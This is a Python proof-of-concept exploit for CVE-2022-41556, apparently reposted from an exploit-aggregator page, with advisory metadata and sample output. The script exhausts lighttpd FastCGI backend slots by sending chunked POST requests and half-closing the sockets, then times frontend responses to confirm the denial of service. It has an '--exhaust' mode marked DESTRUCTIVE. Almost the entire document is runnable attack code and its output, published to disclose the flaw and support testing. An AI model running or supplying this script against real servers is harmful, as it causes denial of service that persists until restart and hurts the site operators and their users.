Share
## https://sploitus.com/exploit?id=PACKETSTORM:214292
#!/usr/bin/env python3
    #
    #
    # Lighttpd 1.4.56 - 1.4.66 Resource Leak Denial of Service PoC
    #
    #
    # Vendor: Glenn Strauss
    # Product web page: https://www.lighttpd.net
    # Affected version: 1.4.56 - 1.4.66
    # Fixed version: 1.4.67-1.fc35
    #
    # Summary: lighttpd (pronounced /lighty/) is a secure, fast,
    # compliant, and very flexible web server that has been optimized
    # for high-performance environments. lighttpd uses memory and
    # CPU efficiently and has lower resource use than other popular
    # web servers. Its advanced feature-set (FastCGI, CGI, Auth,
    # Output-Compression, URL-Rewriting and much more) make lighttpd
    # the perfect web server for all systems, small and large.
    #
    # Desc: CVE-2022-41556 is a resource exhaustion vulnerability
    # in lighttpd 1.4.56 - 1.4.66 affecting gateway backends such
    # as FastCGI. When handling an HTTP/1.1 request with chunked
    # transfer encoding and request-body streaming enabled, lighttpd
    # mishandles an anomalous client disconnect (RDHUP / half-closed
    # TCP connection) before the terminating chunk is sent. In this
    # state, the gateway handler can incorrectly return HANDLER_WAIT_FOR_EVENT
    # without transitioning to an error or cleanup path, leaving the
    # backend connection slot permanently allocated. By repeatedly
    # opening such malformed connections, an attacker can exhaust
    # available backend slots, causing new dynamic requests to hang
    # indefinitely and resulting in a denial of service that persists
    # until the server is restarted.
    #
    # ---------------------------------------------------------------
    # ./lightslot.py --port 88 -n 5 --delay 0.1 10.0.0.7 --fcgi-path /bus.php --exhaust
    #
    # o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o
    # | | | | | | | | | | | | | | | | | | |
    #  lighttpd FastCGI backend slot leak
    # _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
    #
    # [+] Detected Server: lighttpd/1.4.64
    # [*] Target: http://10.0.0.7:88/bus.php
    # [+] [0] anomalous FastCGI request sent
    # [+] [1] anomalous FastCGI request sent
    # [+] [2] anomalous FastCGI request sent
    # [+] [3] anomalous FastCGI request sent
    # [+] [4] anomalous FastCGI request sent
    # [*] Injection phase complete
    # [*] Starting frontend probe
    # [PROBE] frontend response time: 5.062s
    # [PROBE] frontend response time: 17.047s
    # [*] Cleanup complete
    # [*] Test complete
    # ---------------------------------------------------------------
    #
    # Tested on: lighttpd 1.4.64
    #
    #
    # Exploit coded by Gjoko 'LiquidWorm' Krstic
    #                  @zeroscience
    #
    #
    # Advisory ID: ZSL-2026-5968
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5968.php
    # CVE ID: CVE-2022-41556
    # CVE URL: https://www.cve.org/CVERecord?id=CVE-2022-41556
    # Fix release changelog: https://www.lighttpd.net/2022/9/17/1.4.67/
    # Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=2130967
    #
    #
    # 23.01.2026
    #
    
    import threading
    import argparse#
    import socket###
    import time#####
    import sys######
    
    banerche = """
    o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o
    | | | | | | | | | | | | | | | | | | |
     lighttpd FastCGI backend slot leak
    _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
    """
    class FastCGILeakTester:
        def __init__(self, host, port, fcgi_path,
                     conns, delay, detect_only):
            self.detect_only = detect_only
            self.fcgi_path = fcgi_path
            self.conns = conns
            self.delay = delay
            self.running = True
            self.sockets = []
            self.host = host
            self.port = port
    
        def make_socket(self):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((self.host, self.port))
            return s
    
        def chunky_funk(self, cid):
            try:
                s = self.make_socket()
                req = (
                    f"POST {self.fcgi_path} HTTP/1.1\r\n"
                    f"Host: {self.host}\r\n"
                    f"Transfer-Encoding: chunked\r\n"
                    f"Connection: keep-alive\r\n"
                    f"\r\n"
                ).encode()
                s.sendall(req)
                s.sendall(b"4\r\ntest\r\n")
                s.shutdown(socket.SHUT_WR)
                self.sockets.append(s)
                print(f"[+] [{cid}] anomalous FastCGI request sent")
            except Exception as e:
                print(f"[-] [{cid}] failed: {e}")
    
        def run(self):
            print(f"[*] Target: http://{self.host}:{self.port}{self.fcgi_path}")
            print(f"[*] Mode: {'DETECT' if self.detect_only else 'EXHAUST'}")
            for i in range(self.conns):
                if not self.running:
                    break
                t = threading.Thread(
                    target=self.chunky_funk,
                    args=(i,),
                    daemon=True
                )
                t.start()
                time.sleep(self.delay)
            print("[*] Injection phase complete")
    
        def frontend_probe(self):
            print("[*] Starting frontend probe")
            while self.running:
                try:
                    s = self.make_socket()
                    start = time.time()
                    s.sendall(b"GET / HTTP/1.0\r\n\r\n")
                    s.recv(64)
                    elapsed = time.time() - start
                    s.close()
                    print(f"[PROBE] frontend response time: {elapsed:.3f}s")
                except Exception as e:
                    print(f"[PROBE] frontend failure: {e}")
                time.sleep(3)
    
        def cleanup(self):
            self.running = False
            for s in self.sockets:
                try:
                    s.close()
                except:
                    pass
            print("[*] Cleanup complete")
    
    def check_lighty(host, port):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(3)
            s.connect((host, port))
            s.sendall(b"HEAD / HTTP/1.0\r\n\r\n")
            resp = s.recv(512)
            s.close()
            for line in resp.split(b"\n"):
                if b"Server:" in line and b"lighttpd" in line.lower():
                    print(f"[+] Detected {line.decode().strip()}")
                    return True
            print("[-] lighttpd not detected")
            return False
        except Exception as e:
            print(f"[-] connection failed: {e}")
            return False
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("host")
        parser.add_argument("--port", type=int, default=80)
        parser.add_argument("--fcgi-path", default="/index.php",
                            help="Must be FastCGI-backed")
        parser.add_argument("-n", "--conns", type=int, default=5,
                            help="Use small number for detection")
        parser.add_argument("--delay", type=float, default=0.2)
        parser.add_argument("--exhaust", action="store_true",
                            help="Exhaust backend slots (DESTRUCTIVE)")
        args = parser.parse_args()
        print(banerche)
        if not check_lighty(args.host, args.port):
            sys.exit(1)
        tester = FastCGILeakTester(
            args.host,
            args.port,
            args.fcgi_path,
            args.conns,
            args.delay,
            detect_only=not args.exhaust
        )
        try:
            tester.run()
            probe = threading.Thread(
                target=tester.frontend_probe,
                daemon=True
            )
            probe.start()
            time.sleep(30)
        except KeyboardInterrupt:
            pass
        finally:
            tester.cleanup()
        print("[*] Test complete")
    
    if __name__ == "__main__":
        main()